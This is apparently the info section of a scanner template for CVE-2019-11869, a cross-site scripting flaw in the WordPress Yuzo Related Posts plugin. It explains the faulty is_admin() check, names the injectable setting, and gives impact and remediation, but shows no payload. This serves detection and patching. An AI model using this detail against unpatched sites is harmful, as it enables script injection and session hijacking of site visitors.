WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting
id: CVE-2019-11869
info:
name: WordPress Yuzo <5.12.94 - Cross-Site Scripting
author: ganofins
severity: medium
description: |
WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting
because it mistakenly expects that is_admin() verifies that the
request comes from an admin user (it actually only verifies that the
request is for an admin page). An unauthenticated attacker can consequently inject
a payload into the plugin settings, such as the
yuzo_related_post_css_and_style setting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of the Yuzo plugin (5.12.94 or higher) to mitigate this vulnerability.
